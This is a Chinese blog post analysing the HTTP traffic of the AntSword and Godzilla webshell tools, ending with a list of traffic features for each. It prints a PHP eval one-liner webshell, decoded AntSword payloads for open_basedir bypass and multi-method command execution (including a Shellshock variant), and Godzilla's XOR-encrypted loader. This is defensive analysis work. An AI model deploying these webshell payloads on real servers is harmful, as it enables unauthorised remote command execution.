蚁剑、哥斯拉、冰蝎流量分析

参考了几篇大佬的文章,来对蚁剑、哥斯拉、冰蝎的流量来进行分析。

蚁剑流量分析

抓包

以明文传输为例,先从蚁剑开始,本地搭建好环境,这里就用phpstudy_pro,注意要在蚁剑上配置好代理,这样才能在bp上面抓到蚁剑的流量;

antsword1.png

配置好了,就可以开始抓包了,后面我将结合大佬的文章加上AI来分析,这里直接用的一句话木马<?php eval($_POST[cmd]);?>

先看看测试连接的流量:

1
2
3
4
5
6
7
8
9
POST /index.php HTTP/1.1
Host: 192.168.1.65
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 1792
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.b2c7a405%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22021ba%22.%227ca06%22%3Becho%20%40asenc(%24output)%3Becho%20%22ce4a%22.%2203ec%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

请求体url解码一下,同时让AI整理一下代码格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
// 关闭错误显示并设置无时间限制
@ini_set("display_errors", "0");
@set_time_limit(0);

// 尝试绕过 open_basedir 限制
$opdir = @ini_get("open_basedir");
if ($opdir)
{
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 解码 "/;|:/" 分割 open_basedir 路径
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());

foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}

// 创建临时目录
$tmdir = $item . "/.b2c7a405";
@mkdir($tmdir);

if (!@file_exists($tmdir)) {
continue;
}

$tmdir = realpath($tmdir);
@chdir($tmdir);

// 修改 open_basedir 设置以绕过限制
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);

for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}

@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}

// 输出编码函数(此处为空函数,未实际编码)
function asenc($out)
{
return $out;
}

// 输出处理函数
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "021ba" . "7ca06"; // 起始标记
echo @asenc($output); // 实际内容
echo "ce4a" . "03ec"; // 结束标记
}

// 开始输出缓冲
ob_start();

try {
// 获取当前脚本所在目录
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "")
{
$D = dirname($_SERVER["PATH_TRANSLATED"]);
}

// 构建系统信息字符串
$R = "{$D}\t"; // 当前目录

// 获取磁盘信息(Windows系统)
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:";
}
}
} else {
$R .= "/"; // Linux根目录
}

$R .= "\t";

// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();

// 添加系统信息和用户名
$R .= php_uname();
$R .= "\t{$s}";

echo $R;

} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}

// 输出结果并结束
asoutput();
die();
?>

这段代码主要是尝试绕过open_basedir函数限制;其中 @ini_set("open_basedir", "..");是关键,这里.. 是当前目录的上一级目录,是动态的,所以只要当前目录变了,这个open_basedir就会跟着变。

我们再来抓取执行命令的流量,比如whoami,同样的经过url解码加上AI整理之后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
<?php
// 关闭错误显示并设置无时间限制
@ini_set("display_errors", "0");
@set_time_limit(0);

// 获取并绕过open_basedir限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 分割符号: ;|:/
@array_push($oparr, $ocwd, sys_get_temp_dir());

foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}

$tmdir = $item . "/.16762b60e4f";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}

$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");

$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}

@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}

// 输出编码函数(实际未做处理)
function asenc($out) {
return $out;
}

// 输出包装函数
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "9fa8" . "03757";
echo @asenc($output);
echo "49ba4" . "bbce7";
}

ob_start();

try {
// 从POST参数解码数据
$p = base64_decode(substr($_POST["q32cb9bbb38d92"], 2));
$s = base64_decode(substr($_POST["n2d671b83b7d"], 2));
$envstr = @base64_decode(substr($_POST["ka101fd8f80b07"], 2));

$d = dirname($_SERVER["SCRIPT_FILENAME"]);

// 根据操作系统构建命令字符串
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";

// 设置系统PATH环境变量
if (substr($d, 0, 1) == "/") {
// Linux路径
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
// Windows路径
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}

// 设置自定义环境变量
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}

$r = "{$p} {$c}";

// 检查函数是否可用
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}

// Shellshock漏洞利用函数
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");

if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return false;
}

$output = @file_get_contents($tmp);
@unlink($tmp);

if ($output != "") {
print($output);
return true;
}
}
return false;
}

// 命令执行主函数
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);

// 尝试多种命令执行方法
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
// Windows COM组件执行
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}

// 执行命令
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";

} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}

asoutput();
die();
?>

前面那一部分绕过open_basedir的代码和测试的流量差不多,

1
2
3
$p = base64_decode(substr($_POST["q32cb9bbb38d92"], 2)); 
$s = base64_decode(substr($_POST["n2d671b83b7d"], 2));
$envstr = @base64_decode(substr($_POST["ka101fd8f80b07"], 2));

这三处是主要传参执行命令的地方,抓到的bp流量上面去验证一下:

pZMtbPf.png

从第三个字符开始base64解码:q32cb9bbb38d92=9OY21k Y21k解码的结果是cmdn2d671b83b7d=xeY2QgL2QgIkQ6L3BocHN0dWR5X3Byby9XV1ciJndob2FtaSZlY2hvIDhmZGJkMWQ0NmZmJmNkJmVjaG8gZDVhZDZlZA==,去除前面2个字符解码之后的结果为:

cd /d "D:/phpstudy_pro/WWW"&whoami&echo 8fdbd1d46ff&cd&echo d5ad6ed 可以看到whoami命令; 后面传其他命令参数,结构是一样的。

流量特征

1.user-agent里面会有antsword字样,这个新版本看不到了,可能老版本会有。

2.以@ini_set("display_errors", "0");@set_time_limit(0);两个函数开头。

3.明文传输的时候会看到一部分base64

4.响应包里面开头结尾存在一些标识字符串(可能哥斯拉、冰蝎都有)

哥斯拉流量分析

哥斯拉这个webshell管理程序我用的很少,正好借此机会熟悉一下;也是一开始设置好代理,这里还是用之前的一句话木马<?php eval($_POST[cmd]);?>

之前路径写错了,所以测试的时候失败,看http history发现确实是只有两个包,测试成功的时候是三个包;

[pZMtjMQ.png

看一下第一个包的流量:

1
cmd=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B

cyberchef里面去解一下编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

执行一下whoami,在捕捉一下流量:

1
2
3
4
5
6
7
8
9
10
11
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: PHPSESSID=1hpcddd8h64rnqtbn2qekhvdgc;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 192.168.1.65
Content-type: application/x-www-form-urlencoded
Content-Length: 1376
Connection: close

cmd=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTV1QCWCn3LmDlfWRkKzUxH296TG6bPHo08BeXHfTCZnOcyoPZgMMpW9Ary73Yqik8I0YIvtiQRijMG0y92Jov6iXNyy3I8K3IjIu7TUgzw1H%2BzjU4YTk%3D

把这个key的值拿到哥斯拉流量解密工具去解密一下:

1
key=fL1tMGI4YTljMX78f8Wo%2FyhTV1QCWCn3LmDlfWRkKzUxH296TG6bPHo08BeXHfTCZnOcyoPZgMMpW9Ary73Yqik8I0YIvtiQRijMG0y92Jov6iXNyy3I8K3IjIu7TUgzw1H%2BzjU4YTk%3D

[pZMtOxg.png

解一下响应包的流量发现whoami成功执行了:

[pZMtLRS.png

流量特征

测试失败的时候是两个包,测试连接成功的时候是三个包

响应包内容是md5+base64+md5的格式